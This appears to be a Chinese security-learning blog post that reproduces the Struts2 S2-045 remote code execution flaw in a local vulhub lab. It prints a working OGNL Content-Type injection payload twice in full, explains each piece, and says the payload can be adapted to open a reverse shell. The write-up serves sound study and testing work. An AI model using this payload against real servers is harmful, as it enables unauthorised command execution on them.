Struct2(s2-045) 复现
漏洞编号:S2-045 CVE 编号:CVE-2017-5638 漏洞类型:远程代码执行 漏洞级别:高危 漏洞风险:黑客通过利用漏洞可以实现远程命令执行。 影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10
Vulhub 搭建漏洞环境 首先通过 vulhub 搭建漏洞环境
1 2 3 4 5 6 7 8 9 10 11 12 ┌──(kali㉿kali)-[~/vulhub/struts2] └─$ ls README.md s2-001 s2-005 s2-007 s2-008 s2-009 s2-012 s2-013 s2-015 s2-016 s2-032 s2-045 s2-046 s2-048 s2-052 s2-053 s2-057 s2-059 s2-061 ┌──(kali㉿kali)-[~/vulhub/struts2/s2-045] └─$ docker-compose up -d Starting s2-045_struts2_1 ... done ┌──(kali㉿kali)-[~/vulhub/struts2/s2-045] └─$ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 2c0710b3d7c8 vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" 2 minutes ago Up 7 seconds 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp s2-045_struts2_1
测试发现 docker 镜像加速方面,阿里云>华为云>DaoCloud。此外由于 burp suite 默认监听使用的是 8080 端口,这里不修改的话,会与漏洞环境产生冲突导致漏洞服务启动失败
利用公开 PoC 实现命令执行 本地浏览器访问
是一个文件上传界面,burp suite 抓包,注意需要关注的是 POST 包,这里随便上传一个文件。
需要关注的是 Content-Type 字段,这里直接使用网上的 PoC
1 Content-Type: "%{(#nike ='multipart/form-data').(#dm =@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess ?(#_memberAccess =#dm ):((#container =#context ['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil =#container .getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil .getExcludedPackageNames().clear()).(#ognlUtil .getExcludedClasses().clear()).(#context .setMemberAccess(#dm )))).(#cmd ='whoami').(#iswin =(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds =(#iswin ?{'cmd.exe','/c',#cmd }:{'/bin/bash','-c',#cmd })).(#p =new java.lang.ProcessBuilder(#cmds )).(#p .redirectErrorStream(true)).(#process =#p .start()).(#ros =(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process .getInputStream(),#ros )).(#ros .flush())}"
得到回显
另外有个有意思的事情,如果不上传文件直接点击 Submit 按钮,那么 Content-Type 字段中的 boundary=----WebKitFormBoundaryEbgY49uvRsDTm4ub
不能删除,否则无法实现命令执行
boundary 参数用于定义多部分内容的分界线,它的值是一串随机字符串。在 multipart/form-data 类型的请求体中,会用这个 boundary 字符串来分隔不同的内容部分。这样既可以在一个请求中发送多个不同的内容,也方便服务端解析内容的边界。
也可以修改 PoC 来执行不同的命令或者反弹 shell
PoC 详解 漏洞发生在 Jakarta 上传解析器,通过构造 content-Type 来实现利用,没看太懂,回头补点 Java 开发的知识
1 Content-Type:"%{(#xxx ='multipart/form-data').(#dm =@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess ?(#_memberAccess =#dm ):((#container =#context ['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil =#container .getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil .getExcludedPackageNames().clear()).(#ognlUtil .getExcludedClasses().clear()).(#context .setMemberAccess(#dm )))).(#cmd ='" pwd"').(#iswin =(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds =(#iswin ?{'cmd.exe','/c',#cmd }:{'/bin/bash','-c',#cmd })).(#p =new java.lang.ProcessBuilder(#cmds )).(#p .redirectErrorStream(true)).(#process =#p .start()).(#ros =(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process .getInputStream(),#ros )).(#ros .flush())}"
xxx='multipart/form-data'
主要是让struts程序content_type.contains(“multipart/form-data”)
判断为true
1 2 #container=#context['com.opensymphony.xwork2.ActionContext.container' ] 来获取上下文容器
1 2 #ognlUtil=#container .getInstance (@com.opensymphony .xwork2 .ognl .OgnlUtil@class 通过容器实例化,对Ognl API的通用访问,设置和获取属性。
1 2 #iswin=(@java.lang.System@getProperty('os.name' ).toLowerCase().contains('win' ))).(#cmds=(#iswin?{'cmd.exe' ,'/c' ,#cmd}:{'/bin/bash' ,'-c' ,#cmd }) 判断目标主机的操作系统类型,并进行执行命令赋值
1 2 #p=new java.lang .ProcessBuilder (#cmds)).(#p .redirectErrorStream (true)).(#process=#p .start ()).(#ros=(@org.apache .struts2 .ServletActionContext@getResponse ().getOutputStream ())).(@org.apache .commons .io .IOUtils@copy (#process .getInputStream (),#ros)).(#ros .flush ()) 执行攻击命令
参考 vulhub-Struts2-045(CVE-2017-5638)漏洞复现_s2-045拿shell_7562ajj的博客-CSDN博客
【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析-安全客 - 安全资讯平台 (anquanke.com)